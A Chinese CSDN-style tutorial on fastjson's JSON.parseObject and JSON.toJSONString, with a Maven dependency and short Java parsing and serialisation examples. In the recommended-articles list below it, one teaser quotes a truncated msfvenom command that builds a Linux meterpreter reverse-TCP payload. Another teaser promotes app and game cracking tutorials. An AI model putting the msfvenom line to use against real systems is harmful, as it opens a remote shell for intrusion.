学习 JSON.parseObject 和 JSON.toJSONString 一篇文章就够了-程序员宅基地

技术标签: java  toJSONString  json  parseObject  

JSON.parseObject 是将Json字符串转化为相应的对象;

JSON.toJSONString 是将对象转化为Json字符串

两者主要用于前后台的数据传输过程中

使用前需要先导入该包:

<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
    <version>1.2.62</version>
</dependency>

一、JSON.parseObject

将JSON字符串转为Bean对象

Java 对象 Student

@Data
@Accessors(chain = true)
public class Student {
    
    private String name;
    private int score;
}

将JSON字符串转为该对象

public class Main {
    
    public static void main(String[] args) {
    
        String jsonStudent = "{name:'yolo',score:90}";
        Student student = JSON.parseObject(jsonStudent, Student.class);
        System.out.println(student);
    }
}

二、JSON.toJSONString

是将对象转化为Json字符串

public class Main {
    
    public static void main(String[] args) {
    
        Student student = new Student().setName("yolo").setScore(98);
        String s = JSON.toJSONString(student);
        System.out.println(s);
    }
}

三、JSON.parseObject 的其他几种使用

示例1:str = “{“name”:“Yolo”,“Address”:“Beijing”}”;

public class Main {
    
    public static void main(String[] args) {
    
        String str = "{\"name\":\"Yolo\",\"Address\":\"Beijing\"}";
        JSONObject jsonObject = JSON.parseObject(str);
        System.out.println(jsonObject.toString());
        System.out.println(jsonObject.getString("name"));
        System.out.println(str);
    }
}

在这里插入图片描述
示例2:str2 = “{“name”:“Yolo”,“Address”:“Beijing”, “data”:{“id”: 123}}”

public class Main {
    
    public static void main(String[] args) {
    
        String str2 = "{\"name\":\"Yolo\",\"Address\":\"Beijing\", \"data\":{\"id\": 123}}";
        JSONObject jsonObject2 = JSON.parseObject(str2);
        System.out.println(jsonObject2.getString("data"));
        System.out.println(JSON.parseObject(jsonObject2.getString("data")).getString("id"));
    }
}

在这里插入图片描述
示例3:str3 = “{“name”:“Yolo”,“Address”:“Beijing”, “data”:[{“id”: 123},{“id”: 345}]}”;

public class Main {
    
    public static void main(String[] args) {
    
        String str3 = "{\"name\":\"Yolo\",\"Address\":\"Beijing\", \"data\":[{\"id\": 123},{\"id\": 345}]}";
        JSONObject jsonObject3 = JSON.parseObject(str3);
        System.out.println(jsonObject3.toString());
        System.out.println(jsonObject3.toJSONString());
        System.out.println("data " + jsonObject3.getString("data"));
        JSONArray data = JSON.parseArray(jsonObject3.getString("data"));
        for (Object d: data) {
    
            System.out.println(d);
            System.out.println(JSON.parseObject(d.toString()).getString("id"));
            System.out.println(JSON.parseObject(String.valueOf(d)).getString("id"));
        }
    }
}

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/nanhuaibeian/article/details/124268520

智能推荐

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

12款程序员专用chrome插件神器推荐_谷歌按键精灵插件中文-程序员宅基地

文章浏览阅读2.8k次。前言对于从事IT行业的我们来说,几乎无时无刻都在用chrome浏览器,因为它给我们的工作和生活带来了极大的便利。今天给大家分享11款牛逼的chrome插件。1. 谷歌翻译很多小伙伴,英语不太好,包括我自己,英语刚过四级。从事软件相关工作时,有时有些吃力,因为很多优秀的技术网站、书籍或者文章都是老外写的,如果因为看不懂就放弃阅读,我们将会少了很多学习和进步的机会。今天分享的第一个神器就是:谷歌翻译。在没使用谷歌翻译之前,访问https://docs.mongodb.com/drivers/java/_谷歌按键精灵插件中文

python如何做抢东西软件,python爬虫小程序抢购-程序员宅基地

文章浏览阅读749次,点赞28次,收藏20次。每到双十一,各位男性朋友们就要大吐血了,万一女朋友想要的东西还没有抢到,就要更加…所以我便创造了这个自动抢购的脚本,希望对你们有用① Python所有方向的学习路线图,清楚各个方向要学什么东西② 600多节Python课程视频,涵盖必备基础、爬虫和数据分析③ 100多个Python实战案例,含50个超大型项目详解,学习不再是只会理论④ 20款主流手游迫解 爬虫手游逆行迫解教程包⑤ 爬虫与反爬虫攻防教程包,含15个大型网站迫解⑥ 爬虫APP逆向实战教程包,含45项绝密技术详解。

BeautifulSoup库的使用-程序员宅基地

文章浏览阅读328次。1.简介BeautifulSoup库也是一个HTML/XML的解析器,其使用起来很简单,但是其实解析网站用xpath和re已经足矣,这个库其实很少用到。因为其占用内存资源还是比xpath更高。'''BeautifulSoup库和lxml一样,BeautifulSoup也是一个HTML/XML的解析器,主要的功能也是解析和提取HTML/XML数据。LXML只会局..._src="//vm.gtimg.cn/tencentvideo/txp/js/plugins/uiwindowfullscreen.e86410.js?

华为云计算之FusionStorage基础原理和特性_fusionstorage的原理-程序员宅基地

文章浏览阅读1.8k次,点赞2次,收藏2次。华为云计算之FusionStorage基础原理和特性_fusionstorage的原理

随便推点

Ubuntu 使用命令向QQ邮箱发送邮件_linux mailutils设置发送邮箱-程序员宅基地

文章浏览阅读3.4w次,点赞6次,收藏9次。1、安装heirloom-mailxsudo apt-get install heirloom-mailx2. 修改/etc/s-nail.rc中来添加外部SMTP服务器如下:这是个只读文件,先改权限: sudo chmod 777 /etc/s-nail.rc在普通用户下执行:vim /etc/s-nail.rc在文件最后加上:【把××××××××××换成你的邮箱地址】set from=××××××××××@qq.comset smtp=smtps://s_linux mailutils设置发送邮箱

python实现感知器模型_感知器python-程序员宅基地

文章浏览阅读157次。在训练过程中,每个迭代步骤都会输出当前的损失函数值和超平面的权重和偏置。在本例中,使用了三个数据点进行训练,因此可以得到多个超平面来进行分类。最终,训练后的超平面参数被输出,可以用于测试新的数据点。_感知器python

python修改ABAQUS的inp计算文件_python修改abaqus的inp文件的热导率-程序员宅基地

文章浏览阅读1.5k次。python修改ABAQUS的inp计算文件这里的函数可以与上一个博客Matlab-python-ABAQUS数据交互及联合使用的函数接口相互配合和集成,实现matlab与Abaqus进行联合仿真计算,大体思路如下图所示。在这里插入图片描述因此这里matlab和python各写一个接口函数,实现对数据的处理。matlab函数function modify(Path,InpFile,NewData)%modify.m%libing403,2017-05-09ReqFile=[Path,’\mo_python修改abaqus的inp文件的热导率

传统的时序模型预测_时序模型预测法-程序员宅基地

文章浏览阅读8.2k次,点赞8次,收藏49次。1)平滑法2)趋势拟合法3)组合模型4)AR模型5)MA模型 6)ARMA模型7)ARIMA模型8)ARCH模型和GARCH模型周五听了一讲报告,报告中老师讲述了传统的时序模型预测问题,因为认真的记录了笔记,所以利用今天时间整理出来,供以后学习作参考。传统的时序模型预测问题一共有8类模型:1)平滑法平滑法常用于趋势分析和预..._时序模型预测法

通过SecureCRT在开发板与电脑端传输文件_64位核心使用crt串口线烧写上传文件格式为-程序员宅基地

文章浏览阅读1.7k次。电脑上传文件到开发板:rz 命令开发板下载文件电脑端:sz +文件名_64位核心使用crt串口线烧写上传文件格式为

利用pdf2swf将PDF转换成SWF-程序员宅基地

文章浏览阅读1.8w次,点赞5次,收藏7次。将PDF转换成SWF可以使用SWFTools工具中的pdf2swf(http://www.swftools.org/),CSDN快速免积分下载地址XXX一个简单的将PDF文档转成SWF的用法:C:\SWFTools\pdf2swf example.pdf -o example.swf -f -T 91、首先下载安装,一直默认下一步即可。2、java代码import java.io.Buffered_pdf2swf

推荐文章

热门文章

相关标签